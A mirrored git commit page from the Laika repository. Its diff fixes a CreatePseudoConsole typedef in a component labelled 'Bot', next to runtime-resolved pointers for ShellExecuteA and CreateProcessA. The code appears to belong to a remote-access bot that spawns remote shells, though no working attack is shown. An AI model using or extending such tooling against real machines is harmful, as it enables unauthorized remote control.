1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-23 05:10:09 +00:00

Bot: Fixed CreatePseudoConsole type definition

This commit is contained in:
CPunch 2022-07-12 16:04:29 -05:00
parent fdbe6cf3c7
commit f65341c5fa
2 changed files with 3 additions and 1 deletions

View File

@ -9,7 +9,7 @@
/* WINAPI types */
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, HPCON *);
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
typedef void(WINAPI *_ClosePseudoConsole)(HPCON);
typedef BOOL(WINAPI *_CreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);

View File

@ -142,6 +142,8 @@ _CreateProcessA oCreateProcessA;
/* TODO:
GetEnvironmentVariable
windows registry related API
*/
void laikaO_init()